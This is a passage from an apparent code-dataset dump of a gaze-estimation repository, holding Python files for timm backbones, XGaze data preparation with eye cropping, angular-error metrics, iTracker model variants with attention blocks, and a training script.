'mobilenetv3_rw'\n]\n\n\nmobilenetv2_100 = partial(\n timm.create_model,\n model_name='mobilenetv2_100',\n num_classes=0\n)\n\n\nmobilenetv2_140 = partial(\n timm.create_model,\n model_name='mobilenetv2_140',\n num_classes=0\n)\n\n\nmobilenetv3_large_075 = partial(\n timm.create_model,\n model_name='mobilenetv3_large_075',\n num_classes=0\n)\n\n\nmobilenetv3_large_100 = partial(\n timm.create_model,\n model_name='mobilenetv3_large_100',\n num_classes=0\n)\n\n\nmobilenetv3_rw = partial(\n timm.create_model,\n model_name='mobilenetv3_rw',\n num_classes=0\n)" }, { "alpha_fraction": 0.5653761625289917, "alphanum_fraction": 0.6040905714035034, "avg_line_length": 18.855072021484375, "blob_id": "e130da649f62e1fb4c8c53b58d023d9542916635", "content_id": "30971e6a682a0eb894aaa0483e906b7d24c9b1a6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1369, "license_type": "permissive", "max_line_length": 45, "num_lines": 69, "path": "/models/backbone/effcientnet.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "from functools import partial\nimport timm\n\n\n__all__ = [\n 'efficientnet_b0',\n # 'efficientnet_b1',\n # 'efficientnet_b1_pruned',\n # 'efficientnet_b2',\n # 'efficientnet_b2_pruned',\n # 'efficientnet_b2a',\n # 'efficientnet_b3',\n # 'efficientnet_b3_pruned',\n # 'efficientnet_b3a',\n # 'efficientnet_b4',\n # 'efficientnet_b5',\n # 'efficientnet_b6',\n # 'efficientnet_b7',\n 'efficientnet_b8',\n # 'efficientnet_cc_b0_4e',\n # 'efficientnet_cc_b0_8e',\n # 'efficientnet_cc_b1_8e',\n 'efficientnet_el',\n # 'efficientnet_em',\n # 'efficientnet_es',\n # 'efficientnet_l2',\n # 'efficientnet_lite0',\n # 'efficientnet_lite1',\n # 'efficientnet_lite2',\n # 'efficientnet_lite3',\n # 'efficientnet_lite4'\n]\n\n\n# 1280\nefficientnet_b0 = partial(\n timm.create_model,\n model_name='efficientnet_b0',\n num_classes=0,\n global_pool='avg'\n)\n\n\n# 2816\nefficientnet_b8 = partial(\n timm.create_model,\n model_name='efficientnet_b8',\n num_classes=0,\n global_pool='avg'\n)\n\n\n# 1536\nefficientnet_el = partial(\n timm.create_model,\n model_name='efficientnet_el',\n num_classes=0,\n global_pool='avg',\n)\n\n\nif __name__ == '__main__':\n import torch\n model = efficientnet_el(pretrained=False)\n img = torch.rand(1, 3, 224, 224)\n with torch.no_grad():\n feat = model(img)\n\n print(feat.shape)" }, { "alpha_fraction": 0.5303899645805359, "alphanum_fraction": 0.5475056171417236, "avg_line_length": 40.77235794067383, "blob_id": "d99a6957ff920375276f79b6e68872408d5a7317", "content_id": "b64d4e6181e547e92462f3bf7340e3babaebb36b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10283, "license_type": "permissive", "max_line_length": 136, "num_lines": 246, "path": "/data/prepared_xgaze/prepareXgaze.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "import h5py\nfrom pathlib import Path\nimport cv2\nimport scipy.io as sio\nimport argparse, json, re, shutil\nfrom loguru import logger\nimport numpy as np\n# from eyes_features import crop_two_eyes\n\n\n#default dataset_path\ndataset_path = '/home/data/wjc_data/xgaze_224'\nouter_dataset_path = '/home/data/wjc_data/xgaze_224_prepare_two'\n\nval_group = [3, 32, 33, 48, 52, 62, 80, 88, 101, 109 ]\n\n#argparse\nparser = argparse.ArgumentParser(description='iTracker-xgaze_dataset-prepare')\nparser.add_argument('--dataset_path', help='Source dataset path which will to be prepared!')\nparser.add_argument('--outer_dataset_path', help='where to write the output files')\nargs = parser.parse_args()\n\n\ndef main():\n #check the args\n if args.dataset_path is None:\n args.dataset_path = dataset_path\n if args.outer_dataset_path is None:\n args.outer_dataset_path = outer_dataset_path\n\n #cheak the path\n real_dataset = Path(args.dataset_path)\n real_outer_dataset = Path(args.outer_dataset_path)\n if not real_dataset.is_dir():\n raise RuntimeError('invalid path!')\n\n #prepare output data path\n real_outer_dataset = prepareOuterPath(real_outer_dataset, clear=1)\n landmark_dir = Path('/home/data/wjc_data/xgaze_224_prepare/xgaze_landmark')\n\n #define logger\n logger.add(real_outer_dataset.joinpath('train_prepare.log'), filter=lambda x: 'train' in x['message'] or 'validate' in x['message'])\n logger.add(real_outer_dataset.joinpath('test_prepare.log'), filter=lambda x: 'test' in x['message'])\n\n #define a file to store the train information\n meta_train = {\n 'subject': [],\n 'frameIndex': [],\n 'face_gaze_direction': [],\n 'is_equalization': []\n }\n\n meta_validate = {\n 'subject': [],\n 'frameIndex': [],\n 'face_gaze_direction': [],\n 'is_equalization': []\n }\n\n # define a file to store the test information\n meta_test = {\n 'subject': [],\n 'frameIndex': [],\n 'is_equalization': []\n }\n\n train_dataset = real_dataset / 'train'\n test_dataset = real_dataset / 'test'\n train_outer_dataset = real_outer_dataset / 'train'\n test_outer_dataset = real_outer_dataset / 'test'\n val_outer_dataset = real_outer_dataset / 'val'\n train_landmarks = landmark_dir / 'train'\n test_landmarks = landmark_dir / 'test'\n\n for train_file in train_dataset.iterdir():\n with h5py.File(train_file) as train:\n frame = int(re.match('subject(\\d{4})$', train_file.stem).group(1))\n if frame in val_group:\n subject_path = val_outer_dataset / train_file.stem\n mode = 'validate'\n else:\n subject_path = train_outer_dataset / train_file.stem\n mode = 'train'\n subject_path.mkdir(parents=True)\n subject_face_path = subject_path / 'face'\n subject_left_eye_path = subject_path / 'left_eye'\n subject_right_eye_path = subject_path / 'right_eye'\n subject_face_path.mkdir()\n subject_left_eye_path.mkdir()\n subject_right_eye_path.mkdir()\n count = 0\n train_ldmk = train_landmarks / train_file.name\n with h5py.File(train_ldmk) as ldmk:\n for image_num in range(0, train['face_patch'].shape[0]):\n # for image_num in range(0, 2):\n print('[{}/{}] train picture is processing in {}'.format(image_num, train['face_patch'].shape[0], train_file.stem))\n another_image = train['face_patch'][image_num, :]\n\n lmk = ldmk['landmark'][image_num].copy()\n\n left_eye_box = get_rect(lmk[42:47], scale=1)\n right_eye_box = get_rect(lmk[36:41], scale=1)\n\n left_eye_image_cv2 = another_image[left_eye_box[1]:left_eye_box[3], left_eye_box[0]:left_eye_box[2], :]\n right_eye_image_cv2 = another_image[right_eye_box[1]:right_eye_box[3], right_eye_box[0]:right_eye_box[2], :]\n\n cv2.imwrite(str(subject_face_path.joinpath('{:0>6d}.jpg'.format(image_num))),\n another_image)\n cv2.imwrite(str(subject_left_eye_path.joinpath('{:0>6d}.jpg'.format(image_num))),\n left_eye_image_cv2)\n cv2.imwrite(str(subject_right_eye_path.joinpath('{:0>6d}.jpg'.format(image_num))),\n right_eye_image_cv2)\n\n if frame in val_group:\n meta_validate['subject'].append(frame)\n meta_validate['frameIndex'].append(image_num)\n meta_validate['face_gaze_direction'].append(train['face_gaze'][image_num, :])\n meta_validate['is_equalization'].append(train['frame_index'][image_num, 0])\n else:\n meta_train['subject'].append(frame)\n meta_train['frameIndex'].append(image_num)\n meta_train['face_gaze_direction'].append(train['face_gaze'][image_num, :])\n meta_train['is_equalization'].append(train['frame_index'][image_num, 0])\n count += 1\n logger.info('[{}/{}] {} picture is processing in {}', count, train['face_patch'].shape[0], mode, train_file.stem)\n\n sio.savemat(train_outer_dataset.joinpath('meta_train.mat'), meta_train)\n sio.savemat(val_outer_dataset.joinpath('meta_validate.mat'), meta_validate)\n\n test_split_path = real_dataset / 'train_test_split.json'\n test_outer_dataset = prepareOuterPath(test_outer_dataset, clear=1)\n\n with open(test_split_path, 'r') as f:\n test_file = json.load(f)\n test_file_name = test_file['test']\n\n for test_file in test_file_name:\n test_file = test_dataset / test_file\n with h5py.File(test_file) as test:\n subject_path = test_outer_dataset / test_file.stem\n subject_path.mkdir(parents=True)\n subject_face_path = subject_path / 'face'\n subject_left_eye_path = subject_path / 'left_eye'\n subject_right_eye_path = subject_path / 'right_eye'\n subject_face_path.mkdir()\n subject_left_eye_path.mkdir()\n subject_right_eye_path.mkdir()\n frame = int(re.match('subject(\\d{4})$', test_file.stem).group(1))\n count_test = 0\n test_ldmk = test_landmarks / test_file.name\n with h5py.File(test_ldmk) as ldmk:\n for image_num in range(0, test['face_patch'].shape[0]):\n # for image_num in range(0, 40):\n print('[{}/{}] test picture is processing'.format(image_num, test['face_patch'].shape[0]))\n another_image = test['face_patch'][image_num, :]\n \n lmk = ldmk['landmark'][image_num].copy()\n\n left_eye_box = get_rect(lmk[42:47], scale=1)\n right_eye_box = get_rect(lmk[36:41], scale=1)\n\n left_eye_image_cv2 = another_image[left_eye_box[1]:left_eye_box[3], left_eye_box[0]:left_eye_box[2], :]\n right_eye_image_cv2 = another_image[right_eye_box[1]:right_eye_box[3], right_eye_box[0]:right_eye_box[2], :]\n \n cv2.imwrite(str(subject_face_path.joinpath('{:0>6d}.jpg'.format(image_num))),\n another_image)\n cv2.imwrite(str(subject_left_eye_path.joinpath('{:0>6d}.jpg'.format(image_num))),\n left_eye_image_cv2)\n cv2.imwrite(str(subject_right_eye_path.joinpath('{:0>6d}.jpg'.format(image_num))),\n right_eye_image_cv2)\n # cv2.imwrite(str(subject_left_eye_rand_path.joinpath('{:0>6d}.jpg'.format(image_num))),\n # left_eye_image_cv2_rand)\n # cv2.imwrite(str(subject_right_eye_rand_path.joinpath('{:0>6d}.jpg'.format(image_num))),\n # right_eye_image_cv2_rand)\n\n meta_test['subject'].append(frame)\n meta_test['frameIndex'].append(image_num)\n meta_test['is_equalization'].append(test['frame_index'][image_num, 0])\n logger.info('\\n-----------------------------------------------\\n'\n '[{}/{}] test picture is detected by cv2 in {}\\n'\n '-----------------------------------------------', count_test, test['face_patch'].shape[0], test_file.stem)\n\n sio.savemat(test_outer_dataset.joinpath('meta_test.mat'), meta_test)\n print('finished!')\n\n\n# prepare output data path\ndef prepareOuterPath(path, clear = False):\n if not path.is_dir():\n path.mkdir()\n if clear:\n for path_dir in path.iterdir():\n if path_dir.is_dir():\n shutil.rmtree(path_dir, ignore_errors=True)\n if path_dir.is_file():\n path_dir.unlink()\n return path\n\n\n\ndef get_rect(points, ratio=1.0, scale=1): # ratio = w:h\n x = points[:, 0]\n y = points[:, 1]\n\n x_expand = 0.1 * (max(x) - min(x))\n y_expand = 0.1 * (max(y) - min(y))\n\n x_max, x_min = max(x) + x_expand, min(x) - x_expand\n y_max, y_min = max(y) + y_expand, min(y) - y_expand\n\n # h:w=1:2\n if (y_max - y_min) * ratio < (x_max - x_min):\n h = (x_max - x_min) / ratio\n pad = (h - (y_max - y_min)) / 2\n y_max += pad\n y_min -= pad\n else:\n h = (y_max - y_min)\n pad = (h * ratio - (x_max - x_min)) / 2\n x_max += pad\n x_min -= pad\n\n int(x_min), int(x_max), int(y_min), int(y_max)\n bbox = [int(x_min), int(y_min), int(x_max - x_min), int(y_max - y_min)]\n bbox = np.array(bbox)\n\n aSrc = np.maximum(bbox[:2], 0)\n bSrc = np.minimum(bbox[:2] + bbox[2:], (224*scale, 224*scale))\n rect = np.concatenate([aSrc, bSrc])\n\n return rect\n\n\ndef flip_rect(rect, image_width=224):\n x1, y1, x2, y2 = rect\n y1_flip = y1\n y2_flip = y2\n x1_flip = image_width - x2\n x2_flip = image_width - x1\n rect_flip = np.array([x1_flip, y1_flip, x2_flip, y2_flip], dtype=np.int32)\n return rect_flip\n\n\n\nif __name__ == '__main__':\n main()\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5572463870048523, "alphanum_fraction": 0.5757246613502502, "avg_line_length": 27.75, "blob_id": "a1c4ba28c2bb9ff9c697958ca26896e60211205f", "content_id": "763fd79c37a4dbd70508a1bc63463f6f1ded67c7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2760, "license_type": "permissive", "max_line_length": 96, "num_lines": 96, "path": "/utils/metrics.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "import numpy as np\nimport torch\n\n\nclass AverageMeter(object):\n \"\"\"\n Computes and stores the average and\n current value.\n \"\"\"\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\n\nclass AverageMeterTensor(torch.nn.Module):\n def __init__(self, dtype=torch.float):\n super(AverageMeterTensor, self).__init__()\n self.dtype = dtype\n self.reset()\n\n def reset(self):\n self.val = torch.tensor(0, dtype=self.dtype)\n self.avg = torch.tensor(0, dtype=self.dtype)\n self.sum = torch.tensor(0, dtype=self.dtype)\n self.count = torch.tensor(0, dtype=self.dtype)\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\n\ndef pitchyaw_to_vector(pitchyaws):\n r\"\"\"Convert given yaw (:math:`\\theta`) and pitch (:math:`\\phi`) angles to unit gaze vectors.\n\n Args:\n pitchyaws (:obj:`numpy.array`): yaw and pitch angles :math:`(n\\times 2)` in radians.\n\n Returns:\n :obj:`numpy.array` of shape :math:`(n\\times 3)` with 3D vectors per row.\n \"\"\"\n n = pitchyaws.shape[0]\n sin = np.sin(pitchyaws)\n cos = np.cos(pitchyaws)\n out = np.empty((n, 3))\n out[:, 0] = np.multiply(cos[:, 0], sin[:, 1])\n out[:, 1] = sin[:, 0]\n out[:, 2] = np.multiply(cos[:, 0], cos[:, 1])\n return out\n\n\ndef vector_to_pitchyaw(vectors):\n r\"\"\"Convert given gaze vectors to yaw (:math:`\\theta`) and pitch (:math:`\\phi`) angles.\n\n Args:\n vectors (:obj:`numpy.array`): gaze vectors in 3D :math:`(n\\times 3)`.\n\n Returns:\n :obj:`numpy.array` of shape :math:`(n\\times 2)` with values in radians.\n \"\"\"\n n = vectors.shape[0]\n out = np.empty((n, 2))\n vectors = np.divide(vectors, np.linalg.norm(vectors, axis=1).reshape(n, 1))\n out[:, 0] = np.arcsin(vectors[:, 1]) # theta\n out[:, 1] = np.arctan2(vectors[:, 0], vectors[:, 2]) # phi\n return out\n\n\ndef angular_error(a, b):\n \"\"\"Calculate angular error (via cosine similarity).\"\"\"\n a = pitchyaw_to_vector(a) if a.shape[1] == 2 else a\n b = pitchyaw_to_vector(b) if b.shape[1] == 2 else b\n\n ab = np.sum(np.multiply(a, b), axis=1)\n a_norm = np.linalg.norm(a, axis=1)\n b_norm = np.linalg.norm(b, axis=1)\n\n # Avoid zero-values (to avoid NaNs)\n a_norm = np.clip(a_norm, a_min=1e-7, a_max=None)\n b_norm = np.clip(b_norm, a_min=1e-7, a_max=None)\n\n similarity = np.divide(ab, np.multiply(a_norm, b_norm))\n\n return np.arccos(similarity) * 180.0 / np.pi\n" }, { "alpha_fraction": 0.5344425439834595, "alphanum_fraction": 0.5578776597976685, "avg_line_length": 32.18855285644531, "blob_id": "765a7f939e54e44c0953e6bd30b4730038ebf3e3", "content_id": "865f47464e0690bedc710dd37ca4875ccbed34a7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9857, "license_type": "permissive", "max_line_length": 111, "num_lines": 297, "path": "/models/gaze/itracker.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "import numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.nn import functional as F\nimport torchvision\nimport timm\n\nfrom .gazenet import get_backbone\nfrom models.backbone import *\n\n\nclass ITracker(nn.Module):\n def __init__(self, pretrained=True):\n super(ITracker, self).__init__()\n\n self.face_backbone = resnet50(pretrained=pretrained)\n self.leye_backbone = resnet50(pretrained=pretrained, replace_stride_with_dilation=[True, True, True])\n self.reye_backbone = resnet50(pretrained=pretrained, replace_stride_with_dilation=[True, True, True])\n\n self.fc_eye = nn.Sequential(\n nn.Linear(2048 * 2, 128),\n nn.ReLU(True)\n )\n self.fc_face = nn.Sequential(\n nn.Linear(2048, 128),\n nn.ReLU(True),\n nn.Linear(128, 128),\n nn.ReLU(True)\n )\n self.fc_out = nn.Sequential(\n nn.Linear(128 * 2, 128),\n nn.ReLU(True),\n nn.Linear(128, 2)\n )\n\n def encode_input(self, data):\n face_data = data['face']\n leye_box = data['left_eye_box']\n reye_box = data['right_eye_box']\n\n B = face_data.shape[0]\n batch_order = torch.arange(B, dtype=leye_box.dtype, device=leye_box.device).view(B, 1)\n\n leye_box_ = torch.cat([batch_order, leye_box], dim=1)\n reye_box_ = torch.cat([batch_order, reye_box], dim=1)\n\n leye_data = torchvision.ops.roi_align(face_data, leye_box_, 128, aligned=True)\n reye_data = torchvision.ops.roi_align(face_data, reye_box_, 128, aligned=True)\n\n encoded_data = {\n 'face': face_data,\n 'left_eye': leye_data.clone(),\n 'right_eye': reye_data.clone()\n }\n\n return encoded_data\n\n def forward(self, data):\n data = self.encode_input(data)\n\n face = data['face']\n left_eye = data['left_eye']\n right_eye = data['right_eye']\n\n B = face.shape[0]\n x_leye = self.leye_backbone(left_eye).view(B, -1)\n x_reye = self.reye_backbone(right_eye).view(B, -1)\n x_eye = torch.cat([x_leye, x_reye], dim=1)\n x_eye = self.fc_eye(x_eye)\n\n x_face = self.face_backbone(face).view(B, -1)\n x_face = self.fc_face(x_face)\n\n x = torch.cat([x_eye, x_face], dim=1)\n x = self.fc_out(x)\n return x\n\n\nclass AttBlock(nn.Module):\n def __init__(self, q_dim, kv_dim, d_k, qkv_bias=True):\n super(AttBlock, self).__init__()\n self.scale = d_k\n self.Wq = nn.Linear(q_dim, d_k, bias=qkv_bias)\n self.Wk = nn.Linear(kv_dim, d_k, bias=qkv_bias)\n self.Wv = nn.Linear(kv_dim, d_k, bias=qkv_bias)\n self.proj = nn.Linear(d_k, kv_dim)\n\n def forward(self, x_q, x_kv):\n q = self.Wq(x_q)\n k = self.Wk(x_kv)\n v = self.Wv(x_kv)\n\n # attn: b, s, s\n scores = torch.matmul(q.view(-1, self.scale, 1), k.view(-1, 1, self.scale))\n attn = F.softmax(scores / self.scale, dim=-1)\n x = torch.matmul(attn, v.view(-1, self.scale, 1)).view(-1, self.scale)\n x = self.proj(x)\n return x\n\n\nclass MultiHeadAttBlock(nn.Module):\n def __init__(self, features_dim, num_head, d_k, qkv_bias=True):\n super(MultiHeadAttBlock, self).__init__()\n\n self.dim = features_dim\n self.num_head = num_head\n self.d_k = d_k\n # assert head_dim * self.num_head == self.dim, \"head num setting wrong\"\n\n self.Wq = nn.Linear(self.dim, self.num_head * self.d_k, bias=qkv_bias)\n self.Wk = nn.Linear(self.dim, self.num_head * self.d_k, bias=qkv_bias)\n self.Wv = nn.Linear(self.dim, self.num_head * self.d_k, bias=qkv_bias)\n\n self.proj = nn.Linear(self.num_head * self.d_k, self.dim)\n\n def forward(self, x):\n # x: b, s, c\n B, S, C = x.shape\n\n # qkv: b, nhead, s, d_k\n q = self.Wq(x).view(B, S, self.num_head, self.d_k).transpose(1, 2)\n k = self.Wk(x).view(B, S, self.num_head, self.d_k).transpose(1, 2)\n v = self.Wv(x).view(B, S, self.num_head, self.d_k).transpose(1, 2)\n\n # scores: b, nhead, s, s\n scores = torch.matmul(q, k.transpose(-1, -2)) / np.sqrt(self.d_k)\n attn = F.softmax(scores, dim=-1)\n\n # x_attn: b, nhead, s, d_k\n x_attn = torch.matmul(attn, v).transpose(1, 2).contiguous().view(B, -1, self.num_head * self.d_k)\n output = self.proj(x_attn)\n return output\n\n\nclass ITrackerAttention(nn.Module):\n def __init__(self, pretrained=True):\n super(ITrackerAttention, self).__init__()\n\n self.face_backbone = resnet50(pretrained=pretrained)\n self.leye_backbone = resnet50(pretrained=pretrained, replace_stride_with_dilation=[True, True, True])\n self.reye_backbone = resnet50(pretrained=pretrained, replace_stride_with_dilation=[True, True, True])\n\n self.attn_l = AttBlock(q_dim=2048, kv_dim=2048, d_k=1024)\n self.attn_r = AttBlock(q_dim=2048, kv_dim=2048, d_k=1024)\n self.mlp = nn.Sequential(\n nn.Linear(2048 * 2, 128),\n nn.ReLU(True),\n nn.Linear(128, 128),\n nn.ReLU(True)\n )\n\n self.fc_out = nn.Linear(128, 2)\n\n def encode_input(self, data):\n face_data = data['face']\n leye_box = data['left_eye_box']\n reye_box = data['right_eye_box']\n\n B = face_data.shape[0]\n batch_order = torch.arange(B, dtype=leye_box.dtype, device=leye_box.device).view(B, 1)\n\n leye_box_ = torch.cat([batch_order, leye_box], dim=1)\n reye_box_ = torch.cat([batch_order, reye_box], dim=1)\n\n leye_data = torchvision.ops.roi_align(face_data, leye_box_, 64, aligned=True)\n reye_data = torchvision.ops.roi_align(face_data, reye_box_, 64, aligned=True)\n\n encoded_data = {\n 'face': face_data,\n 'left_eye': leye_data.clone(),\n 'right_eye': reye_data.clone()\n }\n\n return encoded_data\n\n def forward(self, data):\n data = self.encode_input(data)\n\n face = data['face']\n left_eye = data['left_eye']\n right_eye = data['right_eye']\n\n B = face.shape[0]\n x_leye = self.leye_backbone(left_eye).view(B, -1)\n x_reye = self.reye_backbone(right_eye).view(B, -1)\n x_face = self.face_backbone(face).view(B, -1)\n\n x_leye = self.attn_l(x_q=x_face, x_kv=x_leye)\n x_reye = self.attn_r(x_q=x_face, x_kv=x_reye)\n x = torch.cat([x_leye, x_reye], dim=1)\n x = self.mlp(x)\n x = self.fc_out(x)\n\n return x\n\n\n# class TBasicLayer(nn.Module):\n# def __init__(self, features_dim, out_dim, num_head, d_k, qkv_bias=True):\n# super(TBasicLayer, self).__init__()\n#\n# self.mh = MultiHeadAttBlock(features_dim=features_dim, num_head=num_head, d_k=d_k, qkv_bias=qkv_bias)\n# self.norm = nn.LayerNorm(3)\n# self.fnn = nn.Sequential(\n# nn.Linear(features_dim, features_dim),\n# nn.ReLU(True),\n# nn.Linear(features_dim, out_dim)\n# )\n\n\nclass ITrackerMultiHeadAttention(nn.Module):\n def __init__(self, pretrained=True):\n super(ITrackerMultiHeadAttention, self).__init__()\n\n # feature extract\n self.face_backbone = resnet50(pretrained=pretrained)\n self.leye_backbone = resnet50(pretrained=pretrained, replace_stride_with_dilation=[True, True, True])\n self.reye_backbone = resnet50(pretrained=pretrained, replace_stride_with_dilation=[True, True, True])\n\n # multi-head attention\n self.mha = MultiHeadAttBlock(\n features_dim=2048,\n num_head=4,\n d_k=256\n )\n self.norm1 = nn.LayerNorm(2048)\n self.ffn = nn.Sequential(\n nn.Linear(2048, 2048),\n nn.ReLU(True),\n nn.Linear(2048, 2048)\n )\n self.norm2 = nn.LayerNorm(2048)\n\n # fc output\n self.fc_eye = nn.Sequential(\n nn.Linear(2048 * 2, 128),\n nn.ReLU(True)\n )\n self.fc_face = nn.Sequential(\n nn.Linear(2048, 128),\n nn.ReLU(True),\n nn.Linear(128, 128),\n nn.ReLU(True)\n )\n self.fc_out = nn.Sequential(\n nn.Linear(128 * 2, 128),\n nn.ReLU(True),\n nn.Linear(128, 2)\n )\n\n def encode_input(self, data):\n face_data = data['face']\n leye_box = data['left_eye_box']\n reye_box = data['right_eye_box']\n\n B = face_data.shape[0]\n batch_order = torch.arange(B, dtype=leye_box.dtype, device=leye_box.device).view(B, 1)\n\n leye_box_ = torch.cat([batch_order, leye_box], dim=1)\n reye_box_ = torch.cat([batch_order, reye_box], dim=1)\n\n leye_data = torchvision.ops.roi_align(face_data, leye_box_, 128, aligned=True)\n reye_data = torchvision.ops.roi_align(face_data, reye_box_, 128, aligned=True)\n\n encoded_data = {\n 'face': face_data,\n 'left_eye': leye_data.clone(),\n 'right_eye': reye_data.clone()\n }\n\n return encoded_data\n\n def forward(self, data):\n data = self.encode_input(data)\n\n face = data['face']\n left_eye = data['left_eye']\n right_eye = data['right_eye']\n\n B = face.shape[0]\n x_leye = self.leye_backbone(left_eye).view(B, 1, -1)\n x_reye = self.reye_backbone(right_eye).view(B, 1, -1)\n x_face = self.face_backbone(face).view(B, 1, -1)\n\n x_seq = torch.cat([x_leye, x_reye, x_face], dim=1)\n x_seq = x_seq + self.norm1(self.mha(x_seq))\n x_ffn = x_seq + self.norm2(self.ffn(x_seq))\n x_leye, x_reye, x_face = torch.unbind(x_ffn, dim=1)\n\n x_eye = torch.cat([x_leye, x_reye], dim=1)\n x_eye = self.fc_eye(x_eye)\n\n x_face = self.fc_face(x_face)\n\n x = torch.cat([x_eye, x_face], dim=1)\n x = self.fc_out(x)\n\n return x\n" }, { "alpha_fraction": 0.6040428280830383, "alphanum_fraction": 0.6046373248100281, "avg_line_length": 23.735294342041016, "blob_id": "6a405dc10d720bc760090fca34e65618fc73bbc8", "content_id": "69eadde7e9e3307db25863079a68c458d60ab606", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1682, "license_type": "permissive", "max_line_length": 73, "num_lines": 68, "path": "/scripts/train.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "import os\nimport torch\nfrom torch.backends import cudnn\n\nimport sys\nsys.path.append('/home/work/projects/gazex')\nfrom options.train_options import Options\nfrom data.xgaze_dataset import get_data_loader\nfrom utils.modules import TrainerSingle, Logger\n\n\ndef main():\n args = Options().parse()\n\n for k, v in sorted(args.__dict__.items()):\n print(k, v)\n\n torch.manual_seed(args.seed)\n torch.cuda.manual_seed(args.seed)\n cudnn.benchmark = True\n\n train_loader = get_data_loader(\n args.data_dir,\n args.batch_size,\n mode='train',\n num_workers=args.workers,\n distributed=False,\n debug=args.debug\n )\n\n if args.eval:\n eval_loader = get_data_loader(\n args.data_dir,\n args.eval_batch_size,\n mode='eval',\n num_workers=args.workers,\n distributed=False,\n debug=args.debug\n )\n else:\n eval_loader = None\n\n logger = Logger(args)\n\n\n # if args.model in ['GazeNet', 'GazeNetCamera']:\n # trainer = Trainer(args)\n # elif args.model == 'GazeNetRSN':\n # if args.use_rsn:\n # trainer = TrainerRSN(args)\n # else:\n # trainer = TrainerRSN2(args)\n trainer = TrainerSingle(args)\n\n for epoch in range(args.epochs):\n # train_loader.batch_sampler.sampler.set_epoch(epoch)\n logger.set_epoch(epoch)\n\n trainer.train_one_epoch(train_loader, logger)\n trainer.save_ckpt(epoch)\n\n trainer.eval(epoch, eval_loader, logger)\n trainer.update_scheduler()\n\n\nif __name__ == '__main__':\n os.environ['PYTHONWARNINGS'] = 'ignore:semaphore_tracker:UserWarning'\n main()\n" }, { "alpha_fraction": 0.530278205871582, "alphanum_fraction": 0.5679214596748352, "avg_line_length": 30.674074172973633, "blob_id": "803c50d56ca7cf9d03a5805001958bff0c0aa225", "content_id": "78aa02bf24c1c925d94834839c2cb0aab0602243", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8554, "license_type": "permissive", "max_line_length": 108, "num_lines": 270, "path": "/models/gaze/ITracker_xgaze.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "import argparse\nimport os\nimport shutil\nimport time, math\nfrom collections import OrderedDict\nimport torch\nimport torch.nn as nn\nfrom torch.nn import functional as F\nfrom torch.nn.modules.activation import ReLU\nfrom torch.nn.modules.container import Sequential\nimport torch.nn.parallel\nimport torch.backends.cudnn as cudnn\nimport torch.optim\nimport torch.utils.data\nimport torchvision.transforms as transforms\nimport torchvision.datasets as datasets\nimport torchvision.models as models\nimport numpy as np\nimport torch.utils.model_zoo as model_zoo\nfrom torch.autograd.variable import Variable\n# from models.backbone.my_resnet import resnet50\nfrom models.backbone.resnet import resnet50\n\n'''\nPytorch model for the iTracker.\n\nAuthor: Petr Kellnhofer ( pkel_lnho (at) gmai_l.com // remove underscores and spaces), 2018. \n\nWebsite: http://gazecapture.csail.mit.edu/\n\nCite:\n\nEye Tracking for Everyone\nK.Krafka*, A. Khosla*, P. Kellnhofer, H. Kannan, S. Bhandarkar, W. Matusik and A. Torralba\nIEEE Conference on Computer Vision and Pattern Recognition (CVPR), 2016\n\n@inproceedings{cvpr2016_gazecapture,\nAuthor = {Kyle Krafka and Aditya Khosla and Petr Kellnhofer and Harini Kannan and Suchendra Bhandarkar and Wojciech Matusik and Antonio Torralba},\nTitle = {Eye Tracking for Everyone},\nYear = {2016},\nBooktitle = {IEEE Conference on Computer Vision and Pattern Recognition (CVPR)}\n}\n\n'''\n\n\nclass ItrackerImageModel(nn.Module):\n # Used for both eyes (with shared weights) and the face (with unqiue weights)\n def __init__(self):\n super(ItrackerImageModel, self).__init__()\n self.features = nn.Sequential(\n nn.Conv2d(3, 96, kernel_size=11, stride=4, padding=0),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=3, stride=2),\n nn.CrossMapLRN2d(size=5, alpha=0.0001, beta=0.75, k=1.0),\n nn.Conv2d(96, 256, kernel_size=5, stride=1, padding=2, groups=2),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=3, stride=2),\n nn.CrossMapLRN2d(size=5, alpha=0.0001, beta=0.75, k=1.0),\n nn.Conv2d(256, 384, kernel_size=3, stride=1, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(384, 64, kernel_size=1, stride=1, padding=0),\n nn.ReLU(inplace=True),\n \n )\n\n def forward(self, x):\n x = self.features(x)\n x = x.view(x.size(0), -1)\n return x\n\nclass FaceImageModel(nn.Module):\n \n def __init__(self):\n super(FaceImageModel, self).__init__()\n self.conv = ItrackerImageModel()\n self.fc = nn.Sequential(\n nn.Linear(12*12*64, 2048),\n nn.ReLU(inplace=True),\n nn.Linear(2048, 1024),\n nn.ReLU(inplace=True),\n )\n\n def forward(self, x):\n x = self.conv(x)\n x = self.fc(x)\n return x\n\nclass FaceGridModel(nn.Module):\n # Model for the face grid pathway\n def __init__(self, gridSize = 25):\n super(FaceGridModel, 